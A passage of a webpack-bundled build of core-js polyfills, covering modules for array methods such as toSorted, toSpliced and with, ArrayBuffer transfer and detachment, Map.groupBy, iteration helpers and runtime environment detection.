      if ((IS_INCLUDES || index in O) && O[index] === el) return IS_INCLUDES || index || 0;
    } return !IS_INCLUDES && -1;
  };
};

module.exports = {
  // `Array.prototype.includes` method
  // https://tc39.es/ecma262/#sec-array.prototype.includes
  includes: createMethod(true),
  // `Array.prototype.indexOf` method
  // https://tc39.es/ecma262/#sec-array.prototype.indexof
  indexOf: createMethod(false)
};


/***/ }),
/* 59 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var toIntegerOrInfinity = __webpack_require__(60);

var max = Math.max;
var min = Math.min;

// Helper for a popular repeating case of the spec:
// Let integer be ? ToInteger(index).
// If integer < 0, let result be max((length + integer), 0); else let result be min(integer, length).
module.exports = function (index, length) {
  var integer = toIntegerOrInfinity(index);
  return integer < 0 ? max(integer + length, 0) : min(integer, length);
};


/***/ }),
/* 60 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var trunc = __webpack_require__(61);

// `ToIntegerOrInfinity` abstract operation
// https://tc39.es/ecma262/#sec-tointegerorinfinity
module.exports = function (argument) {
  var number = +argument;
  // eslint-disable-next-line no-self-compare -- NaN check
  return number !== number || number === 0 ? 0 : trunc(number);
};


/***/ }),
/* 61 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var ceil = Math.ceil;
var floor = Math.floor;

// `Math.trunc` method
// https://tc39.es/ecma262/#sec-math.trunc
// eslint-disable-next-line es/no-math-trunc -- safe
module.exports = Math.trunc || function trunc(x) {
  var n = +x;
  return (n > 0 ? floor : ceil)(n);
};


/***/ }),
/* 62 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var toLength = __webpack_require__(63);

// `LengthOfArrayLike` abstract operation
// https://tc39.es/ecma262/#sec-lengthofarraylike
module.exports = function (obj) {
  return toLength(obj.length);
};


/***/ }),
/* 63 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var toIntegerOrInfinity = __webpack_require__(60);

var min = Math.min;

// `ToLength` abstract operation
// https://tc39.es/ecma262/#sec-tolength
module.exports = function (argument) {
  var len = toIntegerOrInfinity(argument);
  return len > 0 ? min(len, 0x1FFFFFFFFFFFFF) : 0; // 2 ** 53 - 1 == 9007199254740991
};


/***/ }),
/* 64 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

// IE8- don't enum bug keys
module.exports = [
  'constructor',
  'hasOwnProperty',
  'isPrototypeOf',
  'propertyIsEnumerable',
  'toLocaleString',
  'toString',
  'valueOf'
];


/***/ }),
/* 65 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

// eslint-disable-next-line es/no-object-getownpropertysymbols -- safe
exports.f = Object.getOwnPropertySymbols;


/***/ }),
/* 66 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var fails = __webpack_require__(6);
var isCallable = __webpack_require__(20);

var replacement = /#|\.prototype\./;

var isForced = function (feature, detection) {
  var value = data[normalize(feature)];
  return value === POLYFILL ? true
    : value === NATIVE ? false
    : isCallable(detection) ? fails(detection)
    : !!detection;
};

var normalize = isForced.normalize = function (string) {
  return String(string).replace(replacement, '.').toLowerCase();
};

var data = isForced.data = {};
var NATIVE = isForced.NATIVE = 'N';
var POLYFILL = isForced.POLYFILL = 'P';

module.exports = isForced;


/***/ }),
/* 67 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var lengthOfArrayLike = __webpack_require__(62);

// https://tc39.es/proposal-change-array-by-copy/#sec-array.prototype.toReversed
// https://tc39.es/proposal-change-array-by-copy/#sec-%typedarray%.prototype.toReversed
module.exports = function (O, C) {
  var len = lengthOfArrayLike(O);
  var A = new C(len);
  var k = 0;
  for (; k < len; k++) A[k] = O[len - k - 1];
  return A;
};


/***/ }),
/* 68 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var wellKnownSymbol = __webpack_require__(32);
var create = __webpack_require__(69);
var defineProperty = __webpack_require__(43).f;

var UNSCOPABLES = wellKnownSymbol('unscopables');
var ArrayPrototype = Array.prototype;

// Array.prototype[@@unscopables]
// https://tc39.es/ecma262/#sec-array.prototype-@@unscopables
if (ArrayPrototype[UNSCOPABLES] === undefined) {
  defineProperty(ArrayPrototype, UNSCOPABLES, {
    configurable: true,
    value: create(null)
  });
}

// add a key to Array.prototype[@@unscopables]
module.exports = function (key) {
  ArrayPrototype[UNSCOPABLES][key] = true;
};


/***/ }),
/* 69 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

/* global ActiveXObject -- old IE, WSH */
var anObject = __webpack_require__(45);
var definePropertiesModule = __webpack_require__(70);
var enumBugKeys = __webpack_require__(64);
var hiddenKeys = __webpack_require__(53);
var html = __webpack_require__(72);
var documentCreateElement = __webpack_require__(41);
var sharedKey = __webpack_require__(52);

var GT = '>';
var LT = '<';
var PROTOTYPE = 'prototype';
var SCRIPT = 'script';
var IE_PROTO = sharedKey('IE_PROTO');

var EmptyConstructor = function () { /* empty */ };

var scriptTag = function (content) {
  return LT + SCRIPT + GT + content + LT + '/' + SCRIPT + GT;
};

// Create object with fake `null` prototype: use ActiveX Object with cleared prototype
var NullProtoObjectViaActiveX = function (activeXDocument) {
  activeXDocument.write(scriptTag(''));
  activeXDocument.close();
  var temp = activeXDocument.parentWindow.Object;
  // eslint-disable-next-line no-useless-assignment -- avoid memory leak
  activeXDocument = null;
  return temp;
};

// Create object with fake `null` prototype: use iframe Object with cleared prototype
var NullProtoObjectViaIFrame = function () {
  // Thrash, waste and sodomy: IE GC bug
  var iframe = documentCreateElement('iframe');
  var JS = 'java' + SCRIPT + ':';
  var iframeDocument;
  iframe.style.display = 'none';
  html.appendChild(iframe);
  // https://github.com/zloirock/core-js/issues/475
  iframe.src = String(JS);
  iframeDocument = iframe.contentWindow.document;
  iframeDocument.open();
  iframeDocument.write(scriptTag('document.F=Object'));
  iframeDocument.close();
  return iframeDocument.F;
};

// Check for document.domain and active x support
// No need to use active x approach when document.domain is not set
// see https://github.com/es-shims/es5-shim/issues/150
// variation of https://github.com/kitcambridge/es5-shim/commit/4f738ac066346
// avoid IE GC bug
var activeXDocument;
var NullProtoObject = function () {
  try {
    activeXDocument = new ActiveXObject('htmlfile');
  } catch (error) { /* ignore */ }
  NullProtoObject = typeof document != 'undefined'
    ? document.domain && activeXDocument
      ? NullProtoObjectViaActiveX(activeXDocument) // old IE
      : NullProtoObjectViaIFrame()
    : NullProtoObjectViaActiveX(activeXDocument); // WSH
  var length = enumBugKeys.length;
  while (length--) delete NullProtoObject[PROTOTYPE][enumBugKeys[length]];
  return NullProtoObject();
};

hiddenKeys[IE_PROTO] = true;

// `Object.create` method
// https://tc39.es/ecma262/#sec-object.create
// eslint-disable-next-line es/no-object-create -- safe
module.exports = Object.create || function create(O, Properties) {
  var result;
  if (O !== null) {
    EmptyConstructor[PROTOTYPE] = anObject(O);
    result = new EmptyConstructor();
    EmptyConstructor[PROTOTYPE] = null;
    // add "__proto__" for Object.getPrototypeOf polyfill
    result[IE_PROTO] = O;
  } else result = NullProtoObject();
  return Properties === undefined ? result : definePropertiesModule.f(result, Properties);
};


/***/ }),
/* 70 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var DESCRIPTORS = __webpack_require__(5);
var V8_PROTOTYPE_DEFINE_BUG = __webpack_require__(44);
var definePropertyModule = __webpack_require__(43);
var anObject = __webpack_require__(45);
var toIndexedObject = __webpack_require__(11);
var objectKeys = __webpack_require__(71);

// `Object.defineProperties` method
// https://tc39.es/ecma262/#sec-object.defineproperties
// eslint-disable-next-line es/no-object-defineproperties -- safe
exports.f = DESCRIPTORS && !V8_PROTOTYPE_DEFINE_BUG ? Object.defineProperties : function defineProperties(O, Properties) {
  anObject(O);
  var props = toIndexedObject(Properties);
  var keys = objectKeys(Properties);
  var length = keys.length;
  var index = 0;
  var key;
  while (length > index) definePropertyModule.f(O, key = keys[index++], props[key]);
  return O;
};


/***/ }),
/* 71 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var internalObjectKeys = __webpack_require__(57);
var enumBugKeys = __webpack_require__(64);

// `Object.keys` method
// https://tc39.es/ecma262/#sec-object.keys
// eslint-disable-next-line es/no-object-keys -- safe
module.exports = Object.keys || function keys(O) {
  return internalObjectKeys(O, enumBugKeys);
};


/***/ }),
/* 72 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var getBuiltIn = __webpack_require__(22);

module.exports = getBuiltIn('document', 'documentElement');


/***/ }),
/* 73 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var uncurryThis = __webpack_require__(13);
var aCallable = __webpack_require__(29);
var toIndexedObject = __webpack_require__(11);
var arrayFromConstructorAndList = __webpack_require__(74);
var getBuiltInPrototypeMethod = __webpack_require__(75);
var addToUnscopables = __webpack_require__(68);

var $Array = Array;
var sort = uncurryThis(getBuiltInPrototypeMethod('Array', 'sort'));

// `Array.prototype.toSorted` method
// https://tc39.es/ecma262/#sec-array.prototype.tosorted
$({ target: 'Array', proto: true }, {
  toSorted: function toSorted(compareFn) {
    if (compareFn !== undefined) aCallable(compareFn);
    var O = toIndexedObject(this);
    var A = arrayFromConstructorAndList($Array, O);
    return sort(A, compareFn);
  }
});

addToUnscopables('toSorted');


/***/ }),
/* 74 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var lengthOfArrayLike = __webpack_require__(62);

module.exports = function (Constructor, list, $length) {
  var index = 0;
  var length = arguments.length > 2 ? $length : lengthOfArrayLike(list);
  var result = new Constructor(length);
  while (length > index) result[index] = list[index++];
  return result;
};


/***/ }),
/* 75 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var globalThis = __webpack_require__(3);

module.exports = function (CONSTRUCTOR, METHOD) {
  var Constructor = globalThis[CONSTRUCTOR];
  var Prototype = Constructor && Constructor.prototype;
  return Prototype && Prototype[METHOD];
};


/***/ }),
/* 76 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var addToUnscopables = __webpack_require__(68);
var doesNotExceedSafeInteger = __webpack_require__(77);
var lengthOfArrayLike = __webpack_require__(62);
var toAbsoluteIndex = __webpack_require__(59);
var toIndexedObject = __webpack_require__(11);
var toIntegerOrInfinity = __webpack_require__(60);

var $Array = Array;
var max = Math.max;
var min = Math.min;

// `Array.prototype.toSpliced` method
// https://tc39.es/ecma262/#sec-array.prototype.tospliced
$({ target: 'Array', proto: true }, {
  toSpliced: function toSpliced(start, deleteCount /* , ...items */) {
    var O = toIndexedObject(this);
    var len = lengthOfArrayLike(O);
    var actualStart = toAbsoluteIndex(start, len);
    var argumentsLength = arguments.length;
    var k = 0;
    var insertCount, actualDeleteCount, newLen, A;
    if (argumentsLength === 0) {
      insertCount = actualDeleteCount = 0;
    } else if (argumentsLength === 1) {
      insertCount = 0;
      actualDeleteCount = len - actualStart;
    } else {
      insertCount = argumentsLength - 2;
      actualDeleteCount = min(max(toIntegerOrInfinity(deleteCount), 0), len - actualStart);
    }
    newLen = doesNotExceedSafeInteger(len + insertCount - actualDeleteCount);
    A = $Array(newLen);

    for (; k < actualStart; k++) A[k] = O[k];
    for (; k < actualStart + insertCount; k++) A[k] = arguments[k - actualStart + 2];
    for (; k < newLen; k++) A[k] = O[k + actualDeleteCount - insertCount];

    return A;
  }
});

addToUnscopables('toSpliced');


/***/ }),
/* 77 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $TypeError = TypeError;
var MAX_SAFE_INTEGER = 0x1FFFFFFFFFFFFF; // 2 ** 53 - 1 == 9007199254740991

module.exports = function (it) {
  if (it > MAX_SAFE_INTEGER) throw $TypeError('Maximum allowed index exceeded');
  return it;
};


/***/ }),
/* 78 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var arrayWith = __webpack_require__(79);
var toIndexedObject = __webpack_require__(11);

var $Array = Array;

// `Array.prototype.with` method
// https://tc39.es/ecma262/#sec-array.prototype.with
$({ target: 'Array', proto: true }, {
  'with': function (index, value) {
    return arrayWith(toIndexedObject(this), $Array, index, value);
  }
});


/***/ }),
/* 79 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var lengthOfArrayLike = __webpack_require__(62);
var toIntegerOrInfinity = __webpack_require__(60);

var $RangeError = RangeError;

// https://tc39.es/proposal-change-array-by-copy/#sec-array.prototype.with
// https://tc39.es/proposal-change-array-by-copy/#sec-%typedarray%.prototype.with
module.exports = function (O, C, index, value) {
  var len = lengthOfArrayLike(O);
  var relativeIndex = toIntegerOrInfinity(index);
  var actualIndex = relativeIndex < 0 ? len + relativeIndex : relativeIndex;
  if (actualIndex >= len || actualIndex < 0) throw new $RangeError('Incorrect index');
  var A = new C(len);
  var k = 0;
  for (; k < len; k++) A[k] = k === actualIndex ? value : O[k];
  return A;
};


/***/ }),
/* 80 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var DESCRIPTORS = __webpack_require__(5);
var defineBuiltInAccessor = __webpack_require__(81);
var isDetached = __webpack_require__(82);

var ArrayBufferPrototype = ArrayBuffer.prototype;

// `ArrayBuffer.prototype.detached` getter
// https://tc39.es/ecma262/#sec-get-arraybuffer.prototype.detached
if (DESCRIPTORS && !('detached' in ArrayBufferPrototype)) {
  defineBuiltInAccessor(ArrayBufferPrototype, 'detached', {
    configurable: true,
    get: function detached() {
      return isDetached(this);
    }
  });
}


/***/ }),
/* 81 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var makeBuiltIn = __webpack_require__(47);
var defineProperty = __webpack_require__(43);

module.exports = function (target, name, descriptor) {
  if (descriptor.get) makeBuiltIn(descriptor.get, name, { getter: true });
  if (descriptor.set) makeBuiltIn(descriptor.set, name, { setter: true });
  return defineProperty.f(target, name, descriptor);
};


/***/ }),
/* 82 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var globalThis = __webpack_require__(3);
var uncurryThis = __webpack_require__(83);
var arrayBufferByteLength = __webpack_require__(84);

var ArrayBuffer = globalThis.ArrayBuffer;
var ArrayBufferPrototype = ArrayBuffer && ArrayBuffer.prototype;
var slice = ArrayBufferPrototype && uncurryThis(ArrayBufferPrototype.slice);

module.exports = function (O) {
  if (arrayBufferByteLength(O) !== 0) return false;
  if (!slice) return false;
  try {
    slice(O, 0, 0);
    return false;
  } catch (error) {
    return true;
  }
};


/***/ }),
/* 83 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var classofRaw = __webpack_require__(14);
var uncurryThis = __webpack_require__(13);

module.exports = function (fn) {
  // Nashorn bug:
  //   https://github.com/zloirock/core-js/issues/1128
  //   https://github.com/zloirock/core-js/issues/1130
  if (classofRaw(fn) === 'Function') return uncurryThis(fn);
};


/***/ }),
/* 84 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var globalThis = __webpack_require__(3);
var uncurryThisAccessor = __webpack_require__(85);
var classof = __webpack_require__(14);

var ArrayBuffer = globalThis.ArrayBuffer;
var TypeError = globalThis.TypeError;

// Includes
// - Perform ? RequireInternalSlot(O, [[ArrayBufferData]]).
// - If IsSharedArrayBuffer(O) is true, throw a TypeError exception.
module.exports = ArrayBuffer && uncurryThisAccessor(ArrayBuffer.prototype, 'byteLength', 'get') || function (O) {
  if (classof(O) !== 'ArrayBuffer') throw new TypeError('ArrayBuffer expected');
  return O.byteLength;
};


/***/ }),
/* 85 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var uncurryThis = __webpack_require__(13);
var aCallable = __webpack_require__(29);

module.exports = function (object, key, method) {
  try {
    // eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe
    return uncurryThis(aCallable(Object.getOwnPropertyDescriptor(object, key)[method]));
  } catch (error) { /* empty */ }
};


/***/ }),
/* 86 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var $transfer = __webpack_require__(87);

// `ArrayBuffer.prototype.transfer` method
// https://tc39.es/proposal-arraybuffer-transfer/#sec-arraybuffer.prototype.transfer
if ($transfer) $({ target: 'ArrayBuffer', proto: true }, {
  transfer: function transfer() {
    return $transfer(this, arguments.length ? arguments[0] : undefined, true);
  }
});


/***/ }),
/* 87 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var globalThis = __webpack_require__(3);
var uncurryThis = __webpack_require__(13);
var uncurryThisAccessor = __webpack_require__(85);
var toIndex = __webpack_require__(88);
var notDetached = __webpack_require__(89);
var arrayBufferByteLength = __webpack_require__(84);
var detachTransferable = __webpack_require__(90);
var PROPER_STRUCTURED_CLONE_TRANSFER = __webpack_require__(94);

var structuredClone = globalThis.structuredClone;
var ArrayBuffer = globalThis.ArrayBuffer;
var DataView = globalThis.DataView;
var min = Math.min;
var ArrayBufferPrototype = ArrayBuffer.prototype;
var DataViewPrototype = DataView.prototype;
var slice = uncurryThis(ArrayBufferPrototype.slice);
var isResizable = uncurryThisAccessor(ArrayBufferPrototype, 'resizable', 'get');
var maxByteLength = uncurryThisAccessor(ArrayBufferPrototype, 'maxByteLength', 'get');
var getInt8 = uncurryThis(DataViewPrototype.getInt8);
var setInt8 = uncurryThis(DataViewPrototype.setInt8);

module.exports = (PROPER_STRUCTURED_CLONE_TRANSFER || detachTransferable) && function (arrayBuffer, newLength, preserveResizability) {
  var byteLength = arrayBufferByteLength(arrayBuffer);
  var newByteLength = newLength === undefined ? byteLength : toIndex(newLength);
  var fixedLength = !isResizable || !isResizable(arrayBuffer);
  var newBuffer;
  notDetached(arrayBuffer);
  if (PROPER_STRUCTURED_CLONE_TRANSFER) {
    arrayBuffer = structuredClone(arrayBuffer, { transfer: [arrayBuffer] });
    if (byteLength === newByteLength && (preserveResizability || fixedLength)) return arrayBuffer;
  }
  if (byteLength >= newByteLength && (!preserveResizability || fixedLength)) {
    newBuffer = slice(arrayBuffer, 0, newByteLength);
  } else {
    var options = preserveResizability && !fixedLength && maxByteLength ? { maxByteLength: maxByteLength(arrayBuffer) } : undefined;
    newBuffer = new ArrayBuffer(newByteLength, options);
    var a = new DataView(arrayBuffer);
    var b = new DataView(newBuffer);
    var copyLength = min(newByteLength, byteLength);
    for (var i = 0; i < copyLength; i++) setInt8(b, i, getInt8(a, i));
  }
  if (!PROPER_STRUCTURED_CLONE_TRANSFER) detachTransferable(arrayBuffer);
  return newBuffer;
};


/***/ }),
/* 88 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var toIntegerOrInfinity = __webpack_require__(60);
var toLength = __webpack_require__(63);

var $RangeError = RangeError;

// `ToIndex` abstract operation
// https://tc39.es/ecma262/#sec-toindex
module.exports = function (it) {
  if (it === undefined) return 0;
  var number = toIntegerOrInfinity(it);
  var length = toLength(number);
  if (number !== length) throw new $RangeError('Wrong length or index');
  return length;
};


/***/ }),
/* 89 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var isDetached = __webpack_require__(82);

var $TypeError = TypeError;

module.exports = function (it) {
  if (isDetached(it)) throw new $TypeError('ArrayBuffer is detached');
  return it;
};


/***/ }),
/* 90 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var globalThis = __webpack_require__(3);
var getBuiltInNodeModule = __webpack_require__(91);
var PROPER_STRUCTURED_CLONE_TRANSFER = __webpack_require__(94);

var structuredClone = globalThis.structuredClone;
var $ArrayBuffer = globalThis.ArrayBuffer;
var $MessageChannel = globalThis.MessageChannel;
var detach = false;
var WorkerThreads, channel, buffer, $detach;

if (PROPER_STRUCTURED_CLONE_TRANSFER) {
  detach = function (transferable) {
    structuredClone(transferable, { transfer: [transferable] });
  };
} else if ($ArrayBuffer) try {
  if (!$MessageChannel) {
    WorkerThreads = getBuiltInNodeModule('worker_threads');
    if (WorkerThreads) $MessageChannel = WorkerThreads.MessageChannel;
  }

  if ($MessageChannel) {
    channel = new $MessageChannel();
    buffer = new $ArrayBuffer(2);

    $detach = function (transferable) {
      channel.port1.postMessage(null, [transferable]);
    };

    if (buffer.byteLength === 2) {
      $detach(buffer);
      if (buffer.byteLength === 0) detach = $detach;
    }
  }
} catch (error) { /* empty */ }

module.exports = detach;


/***/ }),
/* 91 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var globalThis = __webpack_require__(3);
var IS_NODE = __webpack_require__(92);

module.exports = function (name) {
  if (IS_NODE) {
    try {
      return globalThis.process.getBuiltinModule(name);
    } catch (error) { /* empty */ }
    try {
      // eslint-disable-next-line no-new-func -- safe
      return Function('return require("' + name + '")')();
    } catch (error) { /* empty */ }
  }
};


/***/ }),
/* 92 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var ENVIRONMENT = __webpack_require__(93);

module.exports = ENVIRONMENT === 'NODE';


/***/ }),
/* 93 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

/* global Bun, Deno -- detection */
var globalThis = __webpack_require__(3);
var userAgent = __webpack_require__(27);
var classof = __webpack_require__(14);

var userAgentStartsWith = function (string) {
  return userAgent.slice(0, string.length) === string;
};

module.exports = (function () {
  if (userAgentStartsWith('Bun/')) return 'BUN';
  if (userAgentStartsWith('Cloudflare-Workers')) return 'CLOUDFLARE';
  if (userAgentStartsWith('Deno/')) return 'DENO';
  if (userAgentStartsWith('Node.js/')) return 'NODE';
  if (globalThis.Bun && typeof Bun.version == 'string') return 'BUN';
  if (globalThis.Deno && typeof Deno.version == 'object') return 'DENO';
  if (classof(globalThis.process) === 'process') return 'NODE';
  if (globalThis.window && globalThis.document) return 'BROWSER';
  return 'REST';
})();


/***/ }),
/* 94 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var globalThis = __webpack_require__(3);
var fails = __webpack_require__(6);
var V8 = __webpack_require__(26);
var ENVIRONMENT = __webpack_require__(93);

var structuredClone = globalThis.structuredClone;

module.exports = !!structuredClone && !fails(function () {
  // prevent V8 ArrayBufferDetaching protector cell invalidation and performance degradation
  // https://github.com/zloirock/core-js/issues/679
  if ((ENVIRONMENT === 'DENO' && V8 > 92) || (ENVIRONMENT === 'NODE' && V8 > 94) || (ENVIRONMENT === 'BROWSER' && V8 > 97)) return false;
  var buffer = new ArrayBuffer(8);
  var clone = structuredClone(buffer, { transfer: [buffer] });
  return buffer.byteLength !== 0 || clone.byteLength !== 8;
});


/***/ }),
/* 95 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var $transfer = __webpack_require__(87);

// `ArrayBuffer.prototype.transferToFixedLength` method
// https://tc39.es/proposal-arraybuffer-transfer/#sec-arraybuffer.prototype.transfertofixedlength
if ($transfer) $({ target: 'ArrayBuffer', proto: true }, {
  transferToFixedLength: function transferToFixedLength() {
    return $transfer(this, arguments.length ? arguments[0] : undefined, false);
  }
});


/***/ }),
/* 96 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var uncurryThis = __webpack_require__(13);
var aCallable = __webpack_require__(29);
var requireObjectCoercible = __webpack_require__(15);
var iterate = __webpack_require__(97);
var MapHelpers = __webpack_require__(106);
var IS_PURE = __webpack_require__(35);
var fails = __webpack_require__(6);

var Map = MapHelpers.Map;
var has = MapHelpers.has;
var get = MapHelpers.get;
var set = MapHelpers.set;
var push = uncurryThis([].push);

var DOES_NOT_WORK_WITH_PRIMITIVES = IS_PURE || fails(function () {
  return Map.groupBy('ab', function (it) {
    return it;
  }).get('a').length !== 1;
});

// `Map.groupBy` method
// https://tc39.es/ecma262/#sec-map.groupby
$({ target: 'Map', stat: true, forced: IS_PURE || DOES_NOT_WORK_WITH_PRIMITIVES }, {
  groupBy: function groupBy(items, callbackfn) {
    requireObjectCoercible(items);
    aCallable(callbackfn);
    var map = new Map();
    var k = 0;
    iterate(items, function (value) {
      var key = callbackfn(value, k++);
      if (!has(map, key)) set(map, key, [value]);
      else push(get(map, key), value);
    });
    return map;
  }
});


/***/ }),
/* 97 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var bind = __webpack_require__(98);
var call = __webpack_require__(7);
var anObject = __webpack_require__(45);
var tryToString = __webpack_require__(30);
var isArrayIteratorMethod = __webpack_require__(99);
var lengthOfArrayLike = __webpack_require__(62);
var isPrototypeOf = __webpack_require__(23);
var getIterator = __webpack_require__(101);
var getIteratorMethod = __webpack_require__(102);
var iteratorClose = __webpack_require__(105);

var $TypeError = TypeError;

var Result = function (stopped, result) {
  this.stopped = stopped;
  this.result = result;
};

var ResultPrototype = Result.prototype;

module.exports = function (iterable, unboundFunction, options) {
  var that = options && options.that;
  var AS_ENTRIES = !!(options && options.AS_ENTRIES);
  var IS_RECORD = !!(options && options.IS_RECORD);
  var IS_ITERATOR = !!(options && options.IS_ITERATOR);
  var INTERRUPTED = !!(options && options.INTERRUPTED);
  var fn = bind(unboundFunction, that);
  var iterator, iterFn, index, length, result, next, step;

  var stop = function (condition) {
    if (iterator) iteratorClose(iterator, 'normal', condition);
    return new Result(true, condition);
  };

  var callFn = function (value) {
    if (AS_ENTRIES) {
      anObject(value);
      return INTERRUPTED ? fn(value[0], value[1], stop) : fn(value[0], value[1]);
    } return INTERRUPTED ? fn(value, stop) : fn(value);
  };

  if (IS_RECORD) {
    iterator = iterable.iterator;
  } else if (IS_ITERATOR) {
    iterator = iterable;
  } else {
    iterFn = getIteratorMethod(iterable);
    if (!iterFn) throw new $TypeError(tryToString(iterable) + ' is not iterable');
    // optimisation for array iterators
    if (isArrayIteratorMethod(iterFn)) {
      for (index = 0, length = lengthOfArrayLike(iterable); length > index; index++) {
        result = callFn(iterable[index]);
        if (result && isPrototypeOf(ResultPrototype, result)) return result;
      } return new Result(false);
    }
    iterator = getIterator(iterable, iterFn);
  }

  next = IS_RECORD ? iterable.next : iterator.next;
  while (!(step = call(next, iterator)).done) {
    try {
      result = callFn(step.value);
    } catch (error) {
      iteratorClose(iterator, 'throw', error);
    }
    if (typeof result == 'object' && result && isPrototypeOf(ResultPrototype, result)) return result;
  } return new Result(false);
};


/***/ }),
/* 98 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var uncurryThis = __webpack_require__(83);
var aCallable = __webpack_require__(29);
var NATIVE_BIND = __webpack_require__(8);

var bind = uncurryThis(uncurryThis.bind);

// optional / simple context binding
module.exports = function (fn, that) {
  aCallable(fn);
  return that === undefined ? fn : NATIVE_BIND ? bind(fn, that) : function (/* ...args */) {
    return fn.apply(that, arguments);
  };
};


/***/ }),
/* 99 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var wellKnownSymbol = __webpack_require__(32);
var Iterators = __webpack_require__(100);

var ITERATOR = wellKnownSymbol('iterator');
var ArrayPrototype = Array.prototype;

// check on default Array iterator
module.exports = function (it) {
  return it !== undefined && (Iterators.Array === it || ArrayPrototype[ITERATOR] === it);
};


/***/ }),
/* 100 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

module.exports = {};


/***/ }),
/* 101 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var call = __webpack_require__(7);
var aCallable = __webpack_require__(29);
var anObject = __webpack_require__(45);
var tryToString = __webpack_require__(30);
var getIteratorMethod = __webpack_require__(102);

var $TypeError = TypeError;

module.exports = function (argument, usingIterator) {
  var iteratorMethod = arguments.length < 2 ? getIteratorMethod(argument) : usingIterator;
  if (aCallable(iteratorMethod)) return anObject(call(iteratorMethod, argument));
  throw new $TypeError(tryToString(argument) + ' is not iterable');
};


/***/ }),
/* 102 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var classof = __webpack_require__(103);
var getMethod = __webpack_require__(28);
var isNullOrUndefined = __webpack_require__(16);
var Iterators = __webpack_require__(100);
var wellKnownSymbol = __webpack_require__(32);

var ITERATOR = wellKnownSymbol('iterator');

module.exports = function (it) {
  if (!isNullOrUndefined(it)) return getMethod(it, ITERATOR)
    || getMethod(it, '@@iterator')
    || Iterators[classof(it)];
};


/***/ }),
/* 103 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var TO_STRING_TAG_SUPPORT = __webpack_require__(104);
var isCallable = __webpack_require__(20);
var classofRaw = __webpack_require__(14);
var wellKnownSymbol = __webpack_require__(32);

var TO_STRING_TAG = wellKnownSymbol('toStringTag');
var $Object = Object;

// ES3 wrong here
var CORRECT_ARGUMENTS = classofRaw(function () { return arguments; }()) === 'Arguments';

// fallback for IE11 Script Access Denied error
var tryGet = function (it, key) {
  try {
    return it[key];
  } catch (error) { /* empty */ }
};

// getting tag from ES6+ `Object.prototype.toString`
module.exports = TO_STRING_TAG_SUPPORT ? classofRaw : function (it) {
  var O, tag, result;
  return it === undefined ? 'Undefined' : it === null ? 'Null'
    // @@toStringTag case
    : typeof (tag = tryGet(O = $Object(it), TO_STRING_TAG)) == 'string' ? tag
    // builtinTag case
    : CORRECT_ARGUMENTS ? classofRaw(O)
    // ES3 arguments fallback
    : (result = classofRaw(O)) === 'Object' && isCallable(O.callee) ? 'Arguments' : result;
};


/***/ }),
/* 104 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var wellKnownSymbol = __webpack_require__(32);

var TO_STRING_TAG = wellKnownSymbol('toStringTag');
var test = {};

test[TO_STRING_TAG] = 'z';

module.exports = String(test) === '[object z]';


/***/ }),
/* 105 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var call = __webpack_require__(7);
var anObject = __webpack_require__(45);
var getMethod = __webpack_require__(28);

module.exports = function (iterator, kind, value) {
  var innerResult, innerError;
  anObject(iterator);
  try {
    innerResult = getMethod(iterator, 'return');
    if (!innerResult) {
      if (kind === 'throw') throw value;
      return value;
    }
    innerResult = call(innerResult, iterator);
  } catch (error) {
    innerError = true;
    innerResult = error;
  }
  if (kind === 'throw') throw value;
  if (innerError) throw innerResult;
  anObject(innerResult);
  return value;
};


/***/ }),
/* 106 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var uncurryThis = __webpack_require__(13);

// eslint-disable-next-line es/no-map -- safe
var MapPrototype = Map.prototype;

module.exports = {
  // eslint-disable-next-line es/no-map -- safe
  Map: Map,
